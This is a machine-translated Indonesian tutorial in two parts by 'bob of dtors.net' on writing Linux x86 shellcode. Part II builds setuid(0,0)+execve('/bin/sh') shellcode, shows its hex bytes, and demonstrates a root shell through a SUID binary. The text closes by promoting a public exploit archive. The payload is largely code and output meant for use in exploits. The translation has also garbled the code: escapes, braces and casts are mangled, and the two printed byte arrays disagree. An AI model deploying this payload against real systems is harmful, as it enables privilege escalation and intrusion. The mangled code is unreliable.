Pendahuluan
------------
Ada jalan keluar yang mudah nyata ketika datang untuk belajar bagaimana melakukan shellcode.
Anda harus tidak sedikit asm, dan bagaimana tumpukan diurutkan. Itu
cara im akan menjelaskan aleph1 berbeda dari metode, yang ane pelajari
dari orang-orang di netric.org.
Makalah ini didasarkan pada platform Linux x86.
Beberapa Simple asm dasar
----------------------
Im akan memberi Anda beberapa asm sederhana dasar-dasar bahwa Anda akan memerlukan
ketahui untuk mengikuti makalah ini.
MOV - Hal ini menempatkan beberapa [data] ke register.
Contoh:
mov ax, 10 - Puts 10 ke dalam kapak.
mov bx, cx - Bergerak nilai dari cx ke bx
mov dx, nomor - Memindahkan nilai angka ke dx
PUSH - Pushes sepotong [data] ke stack.
Misalnya push $ data
POP - Puts yang [data] dari tumpukan ke
mendaftar atau variabel tertentu.
Contoh pop% eax
Push push pop dan menyimpan sebagian untuk nanti:
push cx - meletakkan cx di tumpukan
pop cx - menempatkan nilai dari tumpukan ke cx
XCHG - Exchange dua register
INA - panggilan sebuah fungsi BIOS yang subrutin
bahwa kami tidak akan menulis fungsi.
Misalnya membuka file.
Kebanyakan interupts memiliki lebih dari satu fungsi, ini
berarti kita harus melewati nomor yang kita inginkan.
XOR - Menghapus register.
LEA - Load alamat efektif - wont kita akan menggunakan ini.
Lets get started
----------------
ane telah menjelaskan sedikit asm kepada Anda, yang akan membantu Anda memahami di mana
kita pergi dari sini.
Untuk contoh im akan membuat shellcode yang akan menulis () sebuah string ke layar.
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$
/ *
* Linux x86 shellcode oleh bob dari Dtors.net.
* Write (stdout, "bob dari DSR", 15); exit;
* /
# include <stdio.h>
char
shellcode [] =
"\ X31 \ xc0 \ X31 \ xdb \ X31 \ xd2 \ x53 \ x68 \ x20 \ x44 \ x53 \ x52"
"\ x68 \ x66 \ x72 \ x6f \ x6d! x68 \ x62 \ x6f! x62 \ x20 \ x89 \ xe1"
"\ xb2 \ x0f \ xb0 \ x04 \ XCD \ x80 \ X31 \ xc0 \ xb0 \ x01 \ XCD \ x80"
int
main ()
(
void (* Fungsi) ();
(lama) Fungsi = &shellcode;
Fungsi ();
)
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$
Sekarang ane yakin anda bertanya-tanya apa sih bob tentang sekarang, well im gonna mundur
sekarang dan menjelaskan bagaimana ane mendapatkan ini.
Yah pertama-tama mari kita melaksanakan hal ini dan melihat apa yang dilakukannya.
[bob @ dtors bob] $. / bob
bob dari DSR
[bob @ dtors bob] $
Oke, its a ()... memungkinkan menulis sederhana melihat bagaimana kita melakukan ini.
xor% eax,% eax # eax jelas
xor% ebx,% ebx # ebx jelas
xor% edx,% edx # edx jelas
Kami menghapus register, karena kita harus
mengakhiri string dengan 0.
push% ebx # ebx push pada stack
Kami mendorong ebx yang berisi 0 byte ke stack sehingga shellcode kita
crap wont setelah kami jalankan string. Sebagai contoh / bin / sh [tumpukan sampah].
push $ 0x52534420 # push DSR di stack
push $ 0x6d6f7266 # dorongan dari pada tumpukan
push $ 0x20626f62 # push bob di stack
Sekarang ini di mana kita berbeda dari metode aleph1. Karena kami memiliki rintangan
menemukan di mana string ada di memori, aleph1 menggunakan JMP dan CALL
instruksi. Cara ini jauh lebih mudah, apa yang kita lakukan hanya mendorong senar sendiri
ke tumpukan, dan kemudian $ esp adalah alamat string.
mov% esp,% ecx # mov esp isi ke ecx
Di sini kita memindahkan isi esp ke ecx, bergerak string kita dari satu mendaftar
yang lain, membebaskan naik esp, membungkus kita ingin mendorong sesuatu yang lain ke
tumpukan.
mov $ 0x0f,% dl # cadangan 15 bytes untuk arg
Ini di sini akan cadangan 15 byte string kita. Jika anda didnt pemberitahuan,
$ 0x0f adalah nilai heksadesimal untuk 15.
mov $ 0x4,% al # syscall untuk menulis
Diri explanitry, kita mendapatkan syscall dari unistd.h untuk menulis, dan kemudian menyatakan hal itu di sini.
int $ 0x80 # mengeksekusi syscall
OS tidak akan sekarang bahwa kita ingin menjalankan syscall.
xor% eax,% eax # push a 0 byte ke eax
Sekali lagi kami kliring eax.
Sekarang kita butuh keluar () syscall.
mov $ 0x1,% al # syscall untuk keluar
int $ 0x80 # mengeksekusi syscall
Kami beri syscall dan menjalankannya untuk keluar.
Thats semua harus kita lakukan ... sekarang kita perlu untuk mengubahnya menjadi little endian.
Jadi, kami meletakkannya di C seperti ini:
/ / DSR.c
void main () (
__asm__ ( "
xor% eax,% eax # eax jelas
xor% ebx,% ebx # ebx jelas
xor% edx,% edx # edx jelas
push% ebx # ebx push pada stack
push $ 0x52534420 # push DSR di stack
push $ 0x6d6f7266 # dorongan dari pada tumpukan
push $ 0x20626f62 # push bob di stack
mov% esp,% ecx # mov esp isi ke ecx
mov $ 0x0f,% dl # cadangan 15 bytes untuk arg
mov $ 0x4,% al # syscall untuk menulis
int $ 0x80 # mengeksekusi syscall
xor% eax,% eax
/ / Exit;
mov $ 0x1,% al # syscall untuk keluar
int $ 0x80 # mengeksekusi syscall
");
)
Lalu kami menyusun ini sehingga kita bisa membongkar dan terbuka di gdb:
[bob@dtors.net bob] $ gcc-o DSR.c DSR-ggdb-g
[bob@dtors.net bob] $ gdb. / DSR
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc
GDB is free software, dilindungi oleh GNU General Public License, dan Anda
selamat datang untuk mengubah dan / atau mendistribusikan salinan di bawah kondisi tertentu.
Type "show copying" untuk melihat kondisi.
Sama sekali tidak ada jaminan untuk GDB. Type "show warranty" for details.
GDB ini sudah dikonfigurasi sebagai "i386-redhat-linux" ...
(gdb) x / bx main 3
0x804839b <main+3>: 0x31
(gdb)
0x804839c <main+4>: 0xc0
(gdb)
0x804839d <main+5>: 0x31
(gdb)
0x804839e <main+6>: 0xdb
(gdb)
0x804839f <main+7>: 0x31
(gdb) Press ENTER SAMPAI AKHIR
Kemudian kita mengubah ini untuk little endian:
\ X31 \ xc0 \ X31 \ xdb \ X31 ........... dan seterusnya sampai Anda mencapai akhir.
End.
--------
Menyimpulkan bahwa kertas pertama shellcoding. Tujuan utama ane menulis ini, adalah
karena ane selalu menemukan cara terbaik untuk belajar, dengan menulis tentang hal itu, untuk lain untuk
belajar dari. Akan tetap segar di kepala ane;)
ane ingin berterima kasih eSDee, r00tdude, dan Laurens dari netric.org, untuk membantu
keluar di masa lalu.
Di bawah ini Anda akan menemukan beberapa referensi untuk membantu Anda keluar:
http://simas.wox.org/syscalls/
http://www.newroot.de/
http://linuxasm.org/
http://www.netric.org/
http://www.dtors.net/
Mesgs:
------
Check out http://hack.dtors.net Ini adalah eksploitasi publik BARU arsip
terbaru eksploitasi, atau yang belum pernah dirilis. Hal ini membutuhkan bantuan dan dukungan Anda meskipun untuk mendapatkannya
dimulai. Memang ada script untuk upload Anda untuk mengirimkan eksploitasi. Dengan
Anda BISA mendukungnya menjadi TERBESAR tersedia eksploitasi arsip di net.
-------------------------------------------------- ----------------------
hack.dtors.net!! hack.dtors.net!! hack.dtors.net!! hack.dtors.net!!
-------------------------------------------------- ----------------------
Shellcodin Bagian II oleh bob dari dtors.net
-------------------------------------------------- ----------------------
hack.dtors.net!! hack.dtors.net!! hack.dtors.net!! hack.dtors.net!!
-------------------------------------------------- ----------------------
Pendahuluan
------------
Ada jalan keluar yang mudah nyata ketika datang untuk belajar bagaimana melakukan shellcode.
Anda harus tidak sedikit asm, dan bagaimana tumpukan diurutkan. Itu
cara im akan menjelaskan aleph1 berbeda dari metode, yang ane pelajari
dari orang-orang di netric.org.
Makalah ini didasarkan pada platform Linux x86.
Beberapa Simple asm dasar
----------------------
Im akan memberi Anda beberapa asm sederhana dasar-dasar bahwa Anda akan memerlukan
ketahui untuk mengikuti makalah ini.
MOV - Hal ini menempatkan beberapa [data] ke register.
Contoh:
mov ax, 10 - Puts 10 ke dalam kapak.
mov bx, cx - Bergerak nilai dari cx ke bx
mov dx, nomor - Memindahkan nilai angka ke dx
PUSH - Pushes sepotong [data] ke stack.
Misalnya push $ data
POP - Puts yang [data] dari tumpukan ke
mendaftar atau variabel tertentu.
Contoh pop% eax
Push push pop dan menyimpan sebagian untuk nanti:
push cx - meletakkan cx di tumpukan
pop cx - menempatkan nilai dari tumpukan ke cx
XCHG - Exchange dua register
INA - panggilan sebuah fungsi BIOS yang subrutin
bahwa kami tidak akan menulis fungsi.
Misalnya membuka file.
Kebanyakan interupts memiliki lebih dari satu fungsi, ini
berarti kita harus melewati nomor yang kita inginkan.
XOR - Menghapus register.
LEA - Load alamat efektif mirip dengan mov.
SHeLLCodin ...
-------------
Dalam kertas terakhir ane menjelaskan write () syscall, dan bagaimana kita pergi tentang menggunakannya.
Nah dalam tulisan ini kita akan benar-benar membuat beberapa kode Shell yang menjalankan shell.
Jadi mari kita pertama pergi ke asm kami ...
xor% eax,% eax # eax jelas
push% eax # push eax ke stack
Kami menghapus register, karena kita harus
mengakhiri string dengan 0. Kemudian kita dorong eax ke stack.
pushl $ 0x68732f6e # push / sh ke dalam stack
pushl $ 0x69622f2f # push / / bin ke dalam stack
Di sini, kita mengeksekusi / / bin / sh...the alasan untuk ini adalah bahwa (/ bin) adalah 4 bytes,
dan (/ sh) adalah 3 byte, yang akan meninggalkan kita dengan 0 byte pada akhir string kita.
Jadi untuk jelas bahwa 0 byte pada akhirnya, kita menggunakan (/ / bi) - 4 byte, (n / sh) - sisanya
4 bytes. Kita bisa menggunakan shell lain seperti / bin / ash...which akan menghapus 0byte
juga.
mov% esp,% ebx # mov esp isi ke ebx
Di sini kita memindahkan isi esp ke ebx, bergerak string kita dari satu mendaftar
yang lain, membebaskan naik esp, membungkus kita ingin mendorong sesuatu yang lain ke
tumpukan.
lea 0x8 (% esp, 1),% edx # load alamat efektif
Hal ini mirip dengan MOV, kecuali ini "load alamat efektif".
push% eax # push eax ke stack
push% ebx # push ebx ke stack
lea (% esp, 1),% ecx # load alamat efektif
Explanitry diri ..
mov $ 0xb,% al # syscall untuk menulis
Diri explanitry, kita mendapatkan syscall dari unistd.h untuk execve (), dan kemudian menyatakan hal itu di sini.
int $ 0x80 # mengeksekusi syscall
OS tidak akan sekarang bahwa kita ingin menjalankan syscall.
Mari kita lihat apakah ini bekerja:
/ / x86_sh.c
void main () (
__asm__ ( "
xor% eax,% eax
push% eax
pushl $ 0x68732f6e
pushl $ 0x69622f2f
mov% esp,% ebx
lea 0x8 (% esp, 1),% edx
push% eax
push% ebx
lea (% esp, 1),% ecx
mov $ 0xb,% al
int $ 0x80
");
)
[bob@dtors.net bob] $ gcc x86_sh.c-o x86_sh
[bob@dtors.net bob] $ ./x86_sh
$ Exit
[bob@dtors.net bob] $
Sana itu berhasil! Semua dalam 29 byte! Not bad ... tapi tidak aman .. jika execve () adalah untuk gagal,
akan crash kematian yang mengerikan, jadi kita perlu menambahkan exit () panggilan di sana.
/ / Exit ();
xor% eax,% eax # eax mendaftarkan jelas
mov $ 0x1,% al # syscall untuk keluar
int $ 0x80 # execute syscall
Dan kami menambahkan bahwa untuk akhir kode asli kita ... seperti:
/ / x86_sh.c
void main () (
__asm__ ( "
xor% eax,% eax
push% eax
pushl $ 0x68732f6e
pushl $ 0x69622f2f
mov% esp,% ebx
lea 0x8 (% esp, 1),% edx
push% eax
push% ebx
lea (% esp, 1),% ecx
mov $ 0xb,% al
int $ 0x80
xor% eax,% eax # eax mendaftarkan jelas
mov $ 0x1,% al # syscall untuk keluar
int $ 0x80 # execute syscall
");
)
[bob@dtors.net bob] $ gcc x86_sh.c-o x86_sh
[bob@dtors.net bob] $ ./x86_sh
$ Exit
[bob@dtors.net bob] $
Masih bekerja, tapi kali ini sedikit lebih besar, tetapi setidaknya yang tidak akan sigsegv pada kami.
Ok kita sudah mendapat sejauh ini tetapi kami kehilangan satu sedikit .... Jika kita menggunakan shellcode ini di
yang mengeksploitasi kita akan mendapatkan shell, tapi wont menjadi efektif uid / gid. Jadi kita perlu menambahkan
sedikit lebih untuk setuid (). Jadi mari kita periksa apa yang syscall untuk setuid.
[bob @ dtors bob] $ cat / usr/src/linux-2.2.14/include/asm-i386/unistd.h | grep setuid
# define __NR_setuid 23
[bob @ dtors bob] $
Kemudian kita ambil 23 dan mengubahnya menjadi hex yang memberikan kita: 17.
Yang kemudian dikonversi ke asm memberi kita:
xor% eax,% eax
xor% ebx,% ebx
xor% ecx,% ecx
mov $ 0x17,% al
int $ 0x80
Kami jelas eax, ebx ecx .... dan alasan untuk ini adalah syscall # masuk ke eax,
kemudian ebx dan ecx adalah arg1 dan arg 2. Jadi sebenarnya apa yang kita lakukan adalah setuid (0,0).
Kemudian hex syscall # untuk setuid, maka kita jalankan.
Jadi kode direvisi kami sekarang adalah:
/ / x86_sh.c
void main () (
__asm__ ( "
xor% eax,% eax # setuid ()
xor% ebx,% ebx
xor% ecx,% ecx
mov $ 0x17,% al
int $ 0x80
xor% eax,% eax # execve ()
push% eax
pushl $ 0x68732f6e
pushl $ 0x69622f2f
mov% esp,% ebx
lea 0x8 (% esp, 1),% edx
push% eax
push% ebx
lea (% esp, 1),% ecx
mov $ 0xb,% al
int $ 0x80
xor% eax,% eax # exit ()
mov $ 0x1,% al
int $ 0x80
");
)
Yang seharusnya hanya dilakukan kami. Kami setuid 0,0, maka kita mengeksekusi / / bin / sh, dan akhirnya, keluar ();
Sekarang mari kita kompilasi ini dan tes itu keluar:
[bob @ dtors bob] $ su
Password:
[root @ dtors bob] # chown root.root ./x86_sh
[root @ dtors bob] # chmod 4.775 ./x86_sh
[root @ dtors bob] # ls-al ./x86_sh
-rwsrwxr-x 1 root root 12.014 September 6 08:54 ./x86_sh
[root @ dtors bob] # exit
keluar
[bob @ dtors bob] $ ./x86_sh
sh-2,05 # id-a
uid = 0 (root) gid = 501 (bob) groups = 501 (bob)
sh-2,05 # exit
[bob@dtors.net bob] $
Di sana kami pergi .. kita tetapkan ./x86_sh SUID, dan dimiliki oleh root, untuk melihat apakah
akan setuid (), kemudian mengeksekusi / bin / sh. Seperti yang anda lihat itu berhasil ..
.. jadi sekarang untuk mengkonversi ke little endian:
[bob@dtors.net bob] $ gcc x86_sh.c-o x86_sh-ggdb-g
[bob@dtors.net bob] $ gdb x86_sh
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc
GDB is free software, dilindungi oleh GNU General Public License, dan Anda
selamat datang untuk mengubah dan / atau mendistribusikan salinan di bawah kondisi tertentu.
Type "show copying" untuk melihat kondisi.
Sama sekali tidak ada jaminan untuk GDB. Type "show warranty" for details.
GDB ini sudah dikonfigurasi sebagai "i386-redhat-linux" ...
(gdb) x / bx main 3
0x804839b <main+3>: 0x31
(gdb)
0x804839c <main+4>: 0xc0
(gdb)
0x804839d <main+5>: 0x31
(gdb)
0x804839e <main+6>: 0xdb
(gdb)
0x804839f <main+7>: 0x31
(gdb)
0x80483a0 <main+8>: 0xc9
(gdb)
(gdb) Press ENTER SAMPAI AKHIR
Kemudian kita mengubah ini untuk little endian:
\ X31 \ xc0 \ X31 \ xdb \ X31 ........... dan seterusnya sampai Anda mencapai akhir.
Yang akhirnya hasil untuk:
"\ X31 \ xc0 \ X31 \ xdb \ X31 \ xc9 \ xb0 \ x17 \ XCD \ x80"
"\ X31 \ xc0 \ x50 \ x68 \ x6e \ x2f \ x73 \ x68 \ x2f \ x2f"
"\ x62 \ x69 \ x89 \ xe3 \ x8d \ x54 \ x24 \ x08 \ x50 \ x53"
"\ x8d \ x0c \ x24 \ xb0 \ x0b \ XCD \ x80 \ X31 \ xc0 \ xb0"
"\ x01 \ XCD \ x80";
Sekarang untuk menguji kita disalin itu menulis kita bisa melaksanakan ini dengan membuat sebuah program untuk melakukannya:
# include <stdio.h>
char shellcode [] =
"\ X31 \ xc0 \ X31 \ xdb \ X31 \ xc9 \ xb0 \ x17 \ XCD \ x80"
"\ X31 \ xc0 \ x50 \ x68 \ x6e \ x2f \ x73 \ x68 \ x68 \ x2f"
"\ x2f \ x62 \ x69 \ x89 \ xe3 \ x8d \ x54 \ x24 \ x08 \ x50"
"\ x53 \ x8d \ x0c \ x24 \ xb0 \ x0b \ XCD \ x80 \ X31 \ xc0"
"\ xb0 \ x01 \ XCD \ x80";
int
main ()
(
void (* DSR) ();
(lama) DSR = &shellcode;
printf ( "Size:% d bytes. \ n", sizeof (shellcode));
DSR ();
)
[bob@dtors.net bob] $ gcc-o tes test.c
[bob@dtors.net bob] $. / test
$ Exit
[bob@dtors.net bob] $
Wollah! badaBING!
End.
--------
Menyimpulkan bahwa kertas kedua shellcoding. Tujuan utama ane menulis ini, adalah
karena ane selalu menemukan cara terbaik untuk belajar, dengan menulis tentang hal itu.
syukron pergi ke eSDee, r00tdude, dan Laurens dari netric.org, untuk membantu
keluar.
Di bawah ini Anda akan menemukan beberapa referensi untuk membantu Anda keluar:
http://simas.wox.org/syscalls/
http://www.newroot.de/
http://linuxasm.org/
http://www.netric.org/
http://www.dtors.net/
http://www.nopninjas.org
Check out http://hack.dtors.net Ini adalah eksploitasi publik BARU arsip
terbaru eksploitasi, atau yang belum pernah dirilis. Hal ini membutuhkan bantuan dan dukungan Anda meskipun untuk mendapatkannya
dimulai. Memang ada script untuk upload Anda untuk mengirimkan eksploitasi. Dengan
Anda BISA mendukungnya menjadi TERBESAR tersedia eksploitasi arsip di net.